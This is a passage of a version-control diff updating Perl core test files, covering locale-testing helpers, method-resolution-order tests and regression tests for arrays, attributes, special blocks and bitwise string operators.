+# system.  Caller should have verified that this isn't miniperl before calling
 # the functions.
 
 # Note that it's okay that some languages have their native names
@@ -11,11 +10,17 @@
 # Functions whose names begin with underscore are internal helper functions
 # for this file, and are not to be used by outside callers.
 
+use Config;
 use strict;
 
 eval { require POSIX; import POSIX 'locale_h'; };
 my $has_locale_h = ! $@;
 
+my @known_categories = ( qw(LC_ALL LC_COLLATE LC_CTYPE LC_MESSAGES LC_MONETARY
+                            LC_NUMERIC LC_TIME LC_ADDRESS LC_IDENTIFICATION
+                            LC_MEASUREMENT LC_PAPER LC_TELEPHONE));
+my @platform_categories;
+
 # LC_ALL can be -1 on some platforms.  And, in fact the implementors could
 # legally use any integer to represent any category.  But it makes the most
 # sense for them to have used small integers.  Below, we create new locale
@@ -29,11 +34,10 @@
 # where 6 is the value of &POSIX::LC_CTYPE
 my %category_name;
 my %category_number;
-unless ($@) {
+if ($has_locale_h) {
     my $number_for_missing_category = $max_bad_category_number;
-    foreach my $name (qw(ALL COLLATE CTYPE MESSAGES MONETARY NUMERIC TIME)) {
-        my $number = eval "&POSIX::LC_$name";
-
+    foreach my $name (@known_categories) {
+        my $number = eval "&POSIX::$name";
         if ($@) {
             # Use a negative number (smaller than any legitimate category
             # number) if the platform doesn't support this category, so we
@@ -46,14 +50,40 @@
         {
             # We think this should be an int.  And it has to be larger than
             # any of our synthetic numbers.
-            die "Unexpected locale category number '$number' for LC_$name"
+            die "Unexpected locale category number '$number' for $name"
         }
+        else {
+            push @platform_categories, $name;
+        }
 
+        $name =~ s/LC_//;
         $category_name{$number} = "$name";
         $category_number{$name} = $number;
     }
 }
 
+sub _my_diag($) {
+    my $message = shift;
+    if (defined &main::diag) {
+        diag($message);
+    }
+    else {
+        local($\, $", $,) = (undef, ' ', '');
+        print STDERR $message, "\n";
+    }
+}
+
+sub _my_fail($) {
+    my $message = shift;
+    if (defined &main::fail) {
+        fail($message);
+    }
+    else {
+        local($\, $", $,) = (undef, ' ', '');
+        print "not ok 0 $message\n";
+    }
+}
+
 sub _trylocale ($$$$) { # For use only by other functions in this file!
 
     # Adds the locale given by the first parameter to the list given by the
@@ -75,6 +105,26 @@
 
     return if ! $locale || grep { $locale eq $_ } @$list;
 
+    # This is a toy (pig latin) locale that is not fully implemented on some
+    # systems
+    return if $locale =~ / ^ pig $ /ix;
+
+    # As of 6.3, this platform's locale handling is basically broken.  khw
+    # filed a bug report (no ticket number was returned), and it is supposedly
+    # going to change in a future release, so the statements here below sunset
+    # for any larger version, at which point this may start failing and have
+    # to be revisited.
+    #
+    # Given a legal individual category, basically whatever you set the locale
+    # to, the return from setlocale() indicates that it has taken effect, even
+    # if it hasn't.  However, the return from querying LC_ALL won't reflect
+    # this.
+    if ($Config{osname} =~ /openbsd/i && $locale !~ / ^ (?: C | POSIX ) $/ix) {
+        my ($major, $minor) = $Config{osvers} =~ / ^ ( \d+ ) \. ( \d+ ) /ax;
+        return if ! defined $major || ! defined $minor
+                         || $major < 6 || ($major == 6 && $minor <= 3);
+    }
+
     $categories = [ $categories ] unless ref $categories;
 
     my $badutf8 = 0;
@@ -84,7 +134,10 @@
 
     local $SIG{__WARN__} = sub {
         $badutf8 = 1 if grep { /Malformed UTF-8/ } @_;
-        $plays_well = 0 if grep { /Locale .* may not work well/i } @_;
+        $plays_well = 0 if grep {
+                    /Locale .* may not work well(?#
+                   )|The Perl program will use the expected meanings/i
+            } @_;
     };
 
     # Incompatible locales aren't warned about unless using locales.
@@ -99,7 +152,7 @@
     }
 
     if ($badutf8) {
-        ok(0, "Verify locale name doesn't contain malformed utf8");
+        _my_fail("Verify locale name doesn't contain malformed utf8");
         return;
     }
     push @$list, $locale if $plays_well || $allow_incompatible;
@@ -132,6 +185,13 @@
     return @enc;
 }
 
+sub valid_locale_categories() {
+    # Returns a list of the locale categories (expressed as strings, like
+    # "LC_ALL) known to this program that are available on this platform.
+
+    return @platform_categories;
+}
+
 sub locales_enabled(;$) {
     # Returns 0 if no locale handling is available on this platform; otherwise
     # 1.
@@ -142,7 +202,7 @@
     # taken to be the C enum for the category (e.g., &POSIX::LC_CTYPE).
     # Otherwise it should be a string name of the category, like 'LC_TIME'.
     # The initial 'LC_' is optional.  It is a fatal error to call this with
-    # something that isn't a known category to the platform.
+    # something that isn't a known category to this file.
     #
     # This optional parameter denotes which POSIX locale categories must be
     # available on the platform.  If any aren't available, this function
@@ -154,8 +214,6 @@
     # denoting a single category (either name or number).  No conversion into
     # a number is done in this case.
 
-    use Config;
-
     return 0 unless    $Config{d_setlocale}
                         # I (khw) cargo-culted the '?' in the pattern on the
                         # next line.
@@ -279,7 +337,7 @@
     my @Locale;
     _trylocale("C", $categories, \@Locale, $allow_incompatible);
     _trylocale("POSIX", $categories, \@Locale, $allow_incompatible);
-    foreach (0..15) {
+    foreach (1..16) {
         _trylocale("ISO8859-$_", $categories, \@Locale, $allow_incompatible);
         _trylocale("iso8859$_", $categories, \@Locale, $allow_incompatible);
         _trylocale("iso8859-$_", $categories, \@Locale, $allow_incompatible);
@@ -339,13 +397,17 @@
         # This is going to be slow.
         my @Data;
 
-        # Locales whose name differs if the utf8 bit is on are stored in these two
-        # files with appropriate encodings.
-        if ($^H & 0x08 || (${^OPEN} || "") =~ /:utf8/) {
-            @Data = do "./lib/locale/utf8";
-        } else {
-            @Data = do "./lib/locale/latin1";
+        # Locales whose name differs if the utf8 bit is on are stored in these
+        # two files with appropriate encodings.
+        my $data_file = ($^H & 0x08 || (${^OPEN} || "") =~ /:utf8/)
+                        ? _source_location() . "/lib/locale/utf8"
+                        : _source_location() . "/lib/locale/latin1";
+        if (-e $data_file) {
+            @Data = do $data_file;
         }
+        else {
+            _my_diag(__FILE__ . ":" . __LINE__ . ": '$data_file' doesn't exist");
+        }
 
         # The rest of the locales are in this file.
         push @Data, <DATA>;
@@ -353,6 +415,8 @@
         foreach my $line (@Data) {
             my ($locale_name, $language_codes, $country_codes, $encodings) =
                 split /:/, $line;
+            _my_diag(__FILE__ . ":" . __LINE__ . ": Unexpected syntax in '$line'")
+                                                     unless defined $locale_name;
             my @enc = _decode_encodings($encodings);
             foreach my $loc (split(/ /, $locale_name)) {
                 _trylocale($loc, $categories, \@Locale, $allow_incompatible);
@@ -460,6 +524,22 @@
     return;
 }
 
+# returns full path to the directory containing the current source
+# file, inspired by mauke's Dir::Self
+sub _source_location {
+    require File::Spec;
+
+    my $caller_filename = (caller)[1];
+
+    my $loc = File::Spec->rel2abs(
+        File::Spec->catpath(
+            (File::Spec->splitpath($caller_filename))[0, 1], ''
+        )
+    );
+
+    return ($loc =~ /^(.*)$/)[0]; # untaint
+}
+
 1
 
 # Format of data is: locale_name, language_codes, country_codes, encodings

Modified: vendor/perl/dist/t/mro/next_inanon.t
===================================================================
--- vendor/perl/dist/t/mro/next_inanon.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/mro/next_inanon.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,26 +13,26 @@
 =cut
 
 {
-    package A;
+    package AA;
     use mro 'c3'; 
 
     sub foo {
-      return 'A::foo';
+      return 'AA::foo';
     }
 
     sub bar {
-      return 'A::bar';
+      return 'AA::bar';
     }
 }
 
 {
-    package B;
-    use base 'A';
+    package BB;
+    use base 'AA';
     use mro 'c3'; 
     
     sub foo {
       my $code = sub {
-        return 'B::foo => ' . (shift)->next::method();
+        return 'BB::foo => ' . (shift)->next::method();
       };
       return (shift)->$code;
     }
@@ -40,7 +40,7 @@
     sub bar {
       my $code1 = sub {
         my $code2 = sub {
-          return 'B::bar => ' . (shift)->next::method();
+          return 'BB::bar => ' . (shift)->next::method();
         };
         return (shift)->$code2;
       };
@@ -48,10 +48,10 @@
     }
 }
 
-is(B->foo, "B::foo => A::foo",
+is(BB->foo, "BB::foo => AA::foo",
    'method resolved inside anonymous sub');
 
-is(B->bar, "B::bar => A::bar",
+is(BB->bar, "BB::bar => AA::bar",
    'method resolved inside nested anonymous subs');
 
 

Modified: vendor/perl/dist/t/mro/next_ineval.t
===================================================================
--- vendor/perl/dist/t/mro/next_ineval.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/mro/next_ineval.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,23 +12,23 @@
 =cut
 
 {
-    package A;
+    package AA;
     use mro 'c3'; 
 
     sub foo {
-      die 'A::foo died';
-      return 'A::foo succeeded';
+      die 'AA::foo died';
+      return 'AA::foo succeeded';
     }
 }
 
 {
-    package B;
-    use base 'A';
+    package BB;
+    use base 'AA';
     use mro 'c3'; 
     
     sub foo {
       eval {
-        return 'B::foo => ' . (shift)->next::method();
+        return 'BB::foo => ' . (shift)->next::method();
       };
 
       if ($@) {
@@ -37,8 +37,8 @@
     }
 }
 
-like(B->foo, 
-   qr/^A::foo died/, 
+like(BB->foo,
+   qr/^AA::foo died/,
    'method resolved inside eval{}');
 
 

Modified: vendor/perl/dist/t/op/array.t
===================================================================
--- vendor/perl/dist/t/op/array.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/array.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,7 +6,7 @@
     set_up_inc('.', '../lib');
 }
 
-plan (173);
+plan (194);
 
 #
 # @foo, @bar, and @ary are also used from tie-stdarray after tie-ing them
@@ -575,4 +575,117 @@
 $#a = -1; $#a++;
 () = 0+splice @a, 0, 1, 1, 1;
 
+# [perl #8910] lazy creation of array elements used to leak out
+{
+    sub t8910 { $_[1] = 5; $_[2] = 7; }
+    my @p;
+    $p[0] = 1;
+    $p[2] = 2;
+    t8910(@p);
+    is "@p", "1 5 7", "lazy element creation with sub call";
+    my @q;
+    @q[0] = 1;
+    @q[2] = 2;
+    my @qr = \(@q);
+    is $qr[$_], \$q[$_], "lazy element creation with refgen" foreach 0..2;
+    isnt $qr[1], \undef, "lazy element creation with refgen";
+    my @r;
+    $r[1] = 1;
+    foreach my $re ((), @r) { $re = 5; }
+    is join("", @r), "55", "lazy element creation with foreach";
+}
+
+{ # Some things broken by the initial fix for #8910
+    (\my @a)->$#*++;
+    my @b = @a;
+    ok !exists $a[0], 'copying an array via = does not vivify elements';
+    delete $a[0];
+    @a[1..5] = 1..5;
+    $#a++;
+    my $count;
+    my @existing_elements = map { exists $a[$count++] ? $_ : () } @a;
+    is join(",", @existing_elements), "1,2,3,4,5",
+       'map {} @a does not vivify elements';
+    $#a = -1;
+    {local $a[3] = 12; my @foo=@a};
+    is @a, 0,'unwinding localization of elem past end of array shrinks it';
+
+    # Again, but with a package array
+    package tmp; (\our @a)->$#*++; package main;
+    my @b = @a;
+    ok !exists $a[0], 'copying an array via = does not vivify elements';
+    delete $a[0];
+    @a[1..5] = 1..5;
+    $#a++;
+    my $count;
+    my @existing_elements = map { exists $a[$count++] ? $_ : () } @a;
+    is join(",", @existing_elements), "1,2,3,4,5",
+       'map {} @a does not vivify elements';
+    $#a = -1;
+    {local $a[3] = 12; my @foo=@a};
+    is @a, 0,'unwinding localization of elem past end of array shrinks it';
+}
+{
+    # Again, but with a non-magical array ($#a makes it magical)
+    my @a = 1;
+    delete $a[0];
+    my @b = @a;
+    ok !exists $a[0], 'copying an array via = does not vivify elements';
+    delete $a[0];
+    @a[1..5] = 1..5;
+    my $count;
+    my @existing_elements = map { exists $a[$count++] ? $_ : () } @a;
+    is join(",", @existing_elements), "1,2,3,4,5",
+       'map {} @a does not vivify elements';
+    @a = ();
+    {local $a[3] = 12; my @foo=@a};
+    is @a, 0, 'unwinding localization of elem past end of array shrinks it'
+}
+
+# perl #132729, as it applies to flattening an array in lvalue context
+{
+    my @a;
+    $a[1] = 1;
+    map { unshift @a, 7; $_ = 3; goto aftermap; } @a;
+   aftermap:
+    is "[@a]", "[7 3 1]",
+       'non-elems read from @a do not lose their position';
+    @a = ();
+    $#a++; # make it magical
+    $a[1] = 1;
+    map { unshift @a, 7; $_ = 3; goto aftermath; } @a;
+   aftermath:
+    is "[@a]", "[7 3 1]",
+       'non-elems read from magical @a do not lose their position';
+}
+# perl #132729, as it applies to ‘holes’ in an array passed to a sub
+# individually
+{
+    my @a;
+    $a[1] = 1;
+    sub { unshift @a, 7; $_[0] = 3; }->($a[0]);
+    is "[@a]", "[7 3 1]",
+       'holes passed to sub do not lose their position (multideref)';
+    @a = ();
+    $#a++; # make it magical
+    $a[1] = 1;
+    sub { unshift @a, 7; $_[0] = 3; }->($a[0]);
+    is "[@a]", "[7 3 1]",
+       'holes passed to sub do not lose their position (multideref, mg)';
+}
+{
+    # Again, with aelem, not multideref
+    my @a;
+    $a[1] = 1;
+    sub { unshift @a, 7; $_[0] = 3; }->($a[${\0}]);
+    is "[@a]", "[7 3 1]",
+       'holes passed to sub do not lose their position (aelem)';
+    @a = ();
+    $#a++; # make it magical
+    $a[1] = 1;
+    sub { unshift @a, 7; $_[0] = 3; }->($a[${\0}]);
+    is "[@a]", "[7 3 1]",
+       'holes passed to sub do not lose their position (aelem, mg)';
+}
+
 "We're included by lib/Tie/Array/std.t so we need to return something true";

Modified: vendor/perl/dist/t/op/attrs.t
===================================================================
--- vendor/perl/dist/t/op/attrs.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/attrs.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -160,20 +160,19 @@
 
 my @code = qw(lvalue method);
 my @other = qw(shared);
-my @deprecated = qw(locked unique);
+my @deprecated = qw();
+my @invalid = qw(unique locked);
 my %valid;
 $valid{CODE} = {map {$_ => 1} @code};
 $valid{SCALAR} = {map {$_ => 1} @other};
 $valid{ARRAY} = $valid{HASH} = $valid{SCALAR};
 my %deprecated;
-$deprecated{CODE} = { locked => 1 };
-$deprecated{ARRAY} = $deprecated{HASH} = $deprecated{SCALAR} = { unique => 1 };
 
 our ($scalar, @array, %hash);
 foreach my $value (\&foo, \$scalar, \@array, \%hash) {
     my $type = ref $value;
     foreach my $negate ('', '-') {
-	foreach my $attr (@code, @other, @deprecated) {
+	foreach my $attr (@code, @other, @deprecated, @invalid) {
 	    my $attribute = $negate . $attr;
 	    eval "use attributes __PACKAGE__, \$value, '$attribute'";
 	    if ($deprecated{$type}{$attr}) {
@@ -490,4 +489,22 @@
     is($out, '', 'RT #3605: $a ? my $var : my $othervar is perfectly valid syntax');
 }
 
+fresh_perl_is('sub dummy {} our $dummy : Dummy', <<EOS, {},
+Invalid SCALAR attribute: Dummy at - line 1.
+BEGIN failed--compilation aborted at - line 1.
+EOS
+              "attribute on our scalar with sub of same name");
+
+fresh_perl_is('sub dummy {} our @dummy : Dummy', <<EOS, {},
+Invalid ARRAY attribute: Dummy at - line 1.
+BEGIN failed--compilation aborted at - line 1.
+EOS
+              "attribute on our array with sub of same name");
+
+fresh_perl_is('sub dummy {} our %dummy : Dummy', <<EOS, {},
+Invalid HASH attribute: Dummy at - line 1.
+BEGIN failed--compilation aborted at - line 1.
+EOS
+              "attribute on our hash with sub of same name");
+
 done_testing();

Modified: vendor/perl/dist/t/op/blocks.t
===================================================================
--- vendor/perl/dist/t/op/blocks.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/blocks.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,7 +6,7 @@
     set_up_inc('../lib');
 }
 
-plan tests => 11;
+plan tests => 22;
 
 my @expect = qw(
 b1
@@ -146,12 +146,118 @@
 fresh_perl_is('END { print "ok\n" } INIT { bless {} and exit }', "ok\n",
 	       {}, 'null PL_curcop in newGP');
 
-fresh_perl_is('BEGIN{exit 0}; print "still here"', '', {}, 'RT #2754: BEGIN{exit 0} should exit');
-TODO: {
-    local $TODO = 'RT #2754: CHECK{exit 0} is broken';
-    fresh_perl_is('CHECK{exit 0}; print "still here"', '', {}, 'RT #2754: CHECK{exit 0} should exit');
+# [perl #2754] exit(0) didn't exit from inside a UNITCHECK or CHECK block
+
+my $testblocks =
+    join(" ",
+        "BEGIN { \$| = 1; }",
+        (map { "@{[uc($_)]} { print \"$_\\n\"; }" }
+            qw(begin unitcheck check init end)),
+        "print \"main\\n\";"
+    );
+
+fresh_perl_is(
+    $testblocks,
+    "begin\nunitcheck\ncheck\ninit\nmain\nend",
+    {},
+    'blocks execute in right order'
+);
+
+SKIP: {
+    skip "VMS doesn't have the perl #2754 bug", 3 if $^O eq 'VMS';
+    fresh_perl_is(
+        "$testblocks BEGIN { exit 0; }",
+        "begin\nunitcheck\ncheck\ninit\nend",
+        {},
+        "BEGIN{exit 0} doesn't exit yet"
+    );
+
+    fresh_perl_is(
+        "$testblocks UNITCHECK { exit 0; }",
+        "begin\nunitcheck\ncheck\ninit\nmain\nend",
+        {},
+        "UNITCHECK{exit 0} doesn't exit yet"
+    );
+
+    fresh_perl_is(
+        "$testblocks CHECK { exit 0; }",
+        "begin\nunitcheck\ncheck\ninit\nmain\nend",
+        {},
+        "CHECK{exit 0} doesn't exit yet"
+    );
 }
 
+
+SKIP: {
+    if ($^O =~ /^(MSWin32|NetWare|os2)$/) {
+        skip "non_UNIX plafforms and PERL_EXIT_DESTRUCT_END (RT #132863)", 6;
+    }
+
+    fresh_perl_is(
+        "$testblocks BEGIN { exit 1; }",
+        "begin\nunitcheck\ncheck\nend",
+        {},
+        "BEGIN{exit 1} should exit"
+    );
+
+    fresh_perl_like(
+        "$testblocks BEGIN { die; }",
+        qr/\Abegin\nDied[^\n]*\.\nBEGIN failed[^\n]*\.\nunitcheck\ncheck\nend\z/,
+        {},
+        "BEGIN{die} should exit"
+    );
+
+    fresh_perl_is(
+        "$testblocks UNITCHECK { exit 1; }",
+        "begin\nunitcheck\ncheck\nend",
+        {},
+        "UNITCHECK{exit 1} should exit"
+    );
+
+    fresh_perl_like(
+        "$testblocks UNITCHECK { die; }",
+        qr/\Abegin\nDied[^\n]*\.\nUNITCHECK failed[^\n]*\.\nunitcheck\ncheck\nend\z/,
+        {},
+        "UNITCHECK{die} should exit"
+    );
+
+
+    fresh_perl_is(
+        "$testblocks CHECK { exit 1; }",
+        "begin\nunitcheck\ncheck\nend",
+        {},
+        "CHECK{exit 1} should exit"
+    );
+
+    fresh_perl_like(
+        "$testblocks CHECK { die; }",
+        qr/\Abegin\nunitcheck\nDied[^\n]*\.\nCHECK failed[^\n]*\.\ncheck\nend\z/,
+        {},
+        "CHECK{die} should exit"
+    );
+}
+
+fresh_perl_is(
+    "$testblocks INIT { exit 0; }",
+    "begin\nunitcheck\ncheck\ninit\nend",
+    {},
+    "INIT{exit 0} should exit"
+);
+
+fresh_perl_is(
+    "$testblocks INIT { exit 1; }",
+    "begin\nunitcheck\ncheck\ninit\nend",
+    {},
+    "INIT{exit 1} should exit"
+);
+
+fresh_perl_like(
+    "$testblocks INIT { die; }",
+    qr/\Abegin\nunitcheck\ncheck\ninit\nDied[^\n]*\.\nINIT failed[^\n]*\.\nend\z/,
+    {},
+    "INIT{die} should exit"
+);
+
 TODO: {
     local $TODO = 'RT #2917: INIT{} in eval is wrongly considered too late';
     fresh_perl_is('eval "INIT { print qq(in init); };";', 'in init', {}, 'RT #2917: No constraint on how late INIT blocks can run');

Modified: vendor/perl/dist/t/op/bop.t
===================================================================
--- vendor/perl/dist/t/op/bop.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/bop.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,6 @@
 #
 
 use warnings;
-no warnings 'deprecated';
 
 BEGIN {
     chdir 't' if -d 't';
@@ -19,7 +18,7 @@
 # If you find tests are failing, please try adding names to tests to track
 # down where the failure is, and supply your new names as a patch.
 # (Just-in-time test naming)
-plan tests => 192 + (10*13*2) + 5 + 31;
+plan tests => 504;
 
 # numerics
 ok ((0xdead & 0xbeef) == 0x9ead);
@@ -109,85 +108,6 @@
 is ("ok 23\n" | "ok \x{0}\x{0}\n", "ok 23\n");
 is ("o\x{0} \x{0}4\x{0}" ^ "\x{0}k\x{0}2\x{0}\n", "ok 24\n");
 
-#
-is (sprintf("%vd", v4095 & v801), 801);
-is (sprintf("%vd", v4095 | v801), 4095);
-is (sprintf("%vd", v4095 ^ v801), 3294);
-
-#
-is (sprintf("%vd", v4095.801.4095 & v801.4095), '801.801');
-is (sprintf("%vd", v4095.801.4095 | v801.4095), '4095.4095.4095');
-is (sprintf("%vd", v801.4095 ^ v4095.801.4095), '3294.3294.4095');
-#
-is (sprintf("%vd", v120.300 & v200.400), '72.256');
-is (sprintf("%vd", v120.300 | v200.400), '248.444');
-is (sprintf("%vd", v120.300 ^ v200.400), '176.188');
-#
-{
-    my $a = v120.300;
-    my $b = v200.400;
-    $a ^= $b;
-    is (sprintf("%vd", $a), '176.188');
-}
-{
-    my $a = v120.300;
-    my $b = v200.400;
-    $a |= $b;
-    is (sprintf("%vd", $a), '248.444');
-}
-
-#
-# UTF8 ~ behaviour
-#
-
-{
-    my @not36;
-
-    for (0x100...0xFFF) {
-    $a = ~(chr $_);
-        push @not36, sprintf("%#03X", $_)
-            if $a ne chr(~$_) or length($a) != 1 or ~$a ne chr($_);
-    }
-    is (join (', ', @not36), '');
-
-    my @not37;
-
-    for my $i (0xEEE...0xF00) {
-        for my $j (0x0..0x120) {
-            $a = ~(chr ($i) . chr $j);
-                push @not37, sprintf("%#03X %#03X", $i, $j)
-                    if $a ne chr(~$i).chr(~$j) or
-                    length($a) != 2 or
-                    ~$a ne chr($i).chr($j);
-        }
-    }
-    is (join (', ', @not37), '');
-
-    is (~chr(~0), "\0");
-
-
-    my @not39;
-
-    for my $i (0x100..0x120) {
-        for my $j (0x100...0x120) {
-            push @not39, sprintf("%#03X %#03X", $i, $j)
-                if ~(chr($i)|chr($j)) ne (~chr($i)&~chr($j));
-        }
-    }
-    is (join (', ', @not39), '');
-
-    my @not40;
-
-    for my $i (0x100..0x120) {
-        for my $j (0x100...0x120) {
-            push @not40, sprintf("%#03X %#03X", $i, $j)
-                if ~(chr($i)&chr($j)) ne (~chr($i)|~chr($j));
-        }
-    }
-    is (join (', ', @not40), '');
-}
-
-
 # More variations on 19 and 22.
 is ("ok \xFF\x{FF}\n" & "ok 41\n", "ok 41\n");
 is ("ok \x{FF}\xFF\n" & "ok 42\n", "ok 42\n");
@@ -346,7 +266,29 @@
 ok(utf8::is_utf8($a)); # make sure UTF8 flag is still there
 $a = ~$a;
 is($a, "\xFF", "~ works with utf-8");
+ok(! utf8::is_utf8($a), "    and turns off the UTF-8 flag");
 
+$a = "\0\x{100}"; chop($a);
+undef $b;
+$b = $a | "\xFF";
+ok(utf8::is_utf8($b), "Verify UTF-8 | non-UTF-8 retains UTF-8 flag");
+undef $b;
+$b = "\xFF" | $a;
+ok(utf8::is_utf8($b), "Verify non-UTF-8 | UTF-8 retains UTF-8 flag");
+undef $b;
+$b = $a & "\xFF";
+ok(utf8::is_utf8($b), "Verify UTF-8 & non-UTF-8 retains UTF-8 flag");
+undef $b;
+$b = "\xFF" & $a;
+ok(utf8::is_utf8($b), "Verify non-UTF-8 & UTF-8 retains UTF-8 flag");
+undef $b;
+$b = $a ^ "\xFF";
+ok(utf8::is_utf8($b), "Verify UTF-8 ^ non-UTF-8 retains UTF-8 flag");
+undef $b;
+$b = "\xFF" ^ $a;
+ok(utf8::is_utf8($b), "Verify non-UTF-8 ^ UTF-8 retains UTF-8 flag");
+
+
 # [rt.perl.org 33003]
 # This would cause a segfault without malloc wrap
 SKIP: {
@@ -360,83 +302,12 @@
     $a &= "a";
     ok($a =~ /a+$/, 'ASCII "a" is NUL-terminated');
 
-    $b = "bb\x{100}";
+    $b = "bb\x{FF}";
+    utf8::upgrade($b);
     $b &= "b";
     ok($b =~ /b+$/, 'Unicode "b" is NUL-terminated');
 }
 
-{
-    $a = chr(0x101) x 0x101;
-    $b = chr(0x0FF) x 0x0FF;
-
-    $c = $a | $b;
-    is($c, chr(0x1FF) x 0xFF . chr(0x101) x 2);
-
-    $c = $b | $a;
-    is($c, chr(0x1FF) x 0xFF . chr(0x101) x 2);
-
-    $c = $a & $b;
-    is($c, chr(0x001) x 0x0FF);
-
-    $c = $b & $a;
-    is($c, chr(0x001) x 0x0FF);
-
-    $c = $a ^ $b;
-    is($c, chr(0x1FE) x 0x0FF . chr(0x101) x 2);
-
-    $c = $b ^ $a;
-    is($c, chr(0x1FE) x 0x0FF . chr(0x101) x 2);
-}
-
-{
-    $a = chr(0x101) x 0x101;
-    $b = chr(0x0FF) x 0x0FF;
-
-    $a |= $b;
-    is($a, chr(0x1FF) x 0xFF . chr(0x101) x 2);
-}
-
-{
-    $a = chr(0x101) x 0x101;
-    $b = chr(0x0FF) x 0x0FF;
-
-    $b |= $a;
-    is($b, chr(0x1FF) x 0xFF . chr(0x101) x 2);
-}
-
-{
-    $a = chr(0x101) x 0x101;
-    $b = chr(0x0FF) x 0x0FF;
-
-    $a &= $b;
-    is($a, chr(0x001) x 0x0FF);
-}
-
-{
-    $a = chr(0x101) x 0x101;
-    $b = chr(0x0FF) x 0x0FF;
-
-    $b &= $a;
-    is($b, chr(0x001) x 0x0FF);
-}
-
-{
-    $a = chr(0x101) x 0x101;
-    $b = chr(0x0FF) x 0x0FF;
-
-    $a ^= $b;
-    is($a, chr(0x1FE) x 0x0FF . chr(0x101) x 2);
-}
-
-{
-    $a = chr(0x101) x 0x101;
-    $b = chr(0x0FF) x 0x0FF;
-
-    $b ^= $a;
-    is($b, chr(0x1FE) x 0x0FF . chr(0x101) x 2);
-}
-
-
 # New string- and number-specific bitwise ops
 {
   use feature "bitwise";
@@ -484,12 +355,45 @@
  ok (($cusp >> 1) == ($cusp / 2) &&
     do { use integer; abs($cusp >> 1) } == ($cusp / 2));
 }
+# Repeat some of those, with 'use v5.27'
+{
+  use v5.27;
 
+  is "22" & "66", 2,    'numeric & with strings';
+  is "22" | "66", 86,   'numeric | with strings';
+  is "22" ^ "66", 84,   'numeric ^ with strings';
+  is ~"22" & 0xff, 233, 'numeric ~ with string';
+  is 22 &. 66, 22,     '&. with numbers';
+  is 22 |. 66, 66,     '|. with numbers';
+  is 22 ^. 66, "\4\4", '^. with numbers';
+  if ($::IS_EBCDIC) {
+    # ord('2') is 0xF2 on EBCDIC
+    is ~.22, "\x0d\x0d", '~. with number';
+  }
+  else {
+    # ord('2') is 0x32 on ASCII
+    is ~.22, "\xcd\xcd", '~. with number';
+  }
+  $_ = "22";
+  is $_ &= "66", 2,  'numeric &= with strings';
+  $_ = "22";
+  is $_ |= "66", 86, 'numeric |= with strings';
+  $_ = "22";
+  is $_ ^= "66", 84, 'numeric ^= with strings';
+  $_ = 22;
+  is $_ &.= 66, 22,     '&.= with numbers';
+  $_ = 22;
+  is $_ |.= 66, 66,     '|.= with numbers';
+  $_ = 22;
+  is $_ ^.= 66, "\4\4", '^.= with numbers';
+}
+
 # ref tests
 
 my %res;
 
-for my $str ("x", "\x{100}") {
+for my $str ("x", "\x{B6}") {
+    utf8::upgrade($str) if $str !~ /x/;
     for my $chr (qw/S A H G X ( * F/) {
         for my $op (qw/| & ^/) {
             my $co = ord $chr;
@@ -529,8 +433,9 @@
 ) {
     my ($val, $orig, $type) = @$_;
 
-    for (["x", "string"], ["\x{100}", "utf8"]) {
+    for (["x", "string"], ["\x{B6}", "utf8"]) {
         my ($str, $desc) = @$_;
+        utf8::upgrade($str) if $desc =~ /utf8/;
 
         $warn = 0;
 
@@ -683,3 +588,98 @@
 fresh_perl_is('$x = "UUUUUUUV"; $y = "xxxxxxx"; $x |= $y; print $x',
               ( $::IS_EBCDIC) ? 'XXXXXXXV' : '}}}}}}}V',
               {}, "[perl #129995] access to freed memory");
+
+
+#
+# Using code points above 0xFF is fatal
+#
+foreach my $op_info ([and => "&"], [or => "|"], [xor => "^"]) {
+    my ($op_name, $op) = @$op_info;
+    local $@;
+    eval '$_ = "\xFF" ' . $op . ' "\x{100}";';
+    like $@, qr /^Use of strings with code points over 0xFF as arguments (?#
+                 )to bitwise $op_name \Q($op)\E operator is not allowed/,
+         "Use of code points above 0xFF as arguments to bitwise " .
+         "$op_name ($op) is not allowed";
+}
+
+{
+    local $@;
+    eval '$_ = ~ "\x{100}";';
+    like $@, qr /^Use of strings with code points over 0xFF as arguments (?#
+                 )to 1's complement \(~\) operator is not allowed/,
+         "Use of code points above 0xFF as argument to 1's complement " .
+         "(~) is not allowed";
+}
+
+{
+    # Since these are temporary, and it was a pain to make them into loops,
+    # the code is just rolled out.
+    local $SIG{__WARN__} = sub { push @warnings, @_; };
+
+    undef @warnings;
+    is("abc" & "abc\x{100}", "abc", '"abc" & "abc\x{100}" works');
+    if (! is(@warnings, 1, "... but returned a single warning")) {
+        diag join "\n", @warnings;
+    }
+    like ($warnings[0], qr /^Use of strings with code points over 0xFF as (?#
+                            )arguments to bitwise and \(&\) operator (?#
+                            )is deprecated/,
+                        "... which is the expected warning");
+    undef @warnings;
+    is("abc" | "abc\x{100}", "abc\x{100}", '"abc" | "abc\x{100}" works');
+    if (! is(@warnings, 1, "... but returned a single warning")) {
+        diag join "\n", @warnings;
+    }
+    like ($warnings[0], qr /^Use of strings with code points over 0xFF as (?#
+                            )arguments to bitwise or \(|\) operator (?#
+                            )is deprecated/,
+                        "... which is the expected warning");
+    undef @warnings;
+    is("abc" ^ "abc\x{100}", "\0\0\0\x{100}", '"abc" ^ "abc\x{100}" works');
+    if (! is(@warnings, 1, "... but returned a single warning")) {
+        diag join "\n", @warnings;
+    }
+    like ($warnings[0], qr /^Use of strings with code points over 0xFF as (?#
+                            )arguments to bitwise xor \(\^\) operator (?#
+                            )is deprecated/,
+                        "... which is the expected warning");
+    undef @warnings;
+    is("abc\x{100}" & "abc", "abc", '"abc\x{100}" & "abc" works');
+    if (! is(@warnings, 1, "... but returned a single warning")) {
+        diag join "\n", @warnings;
+    }
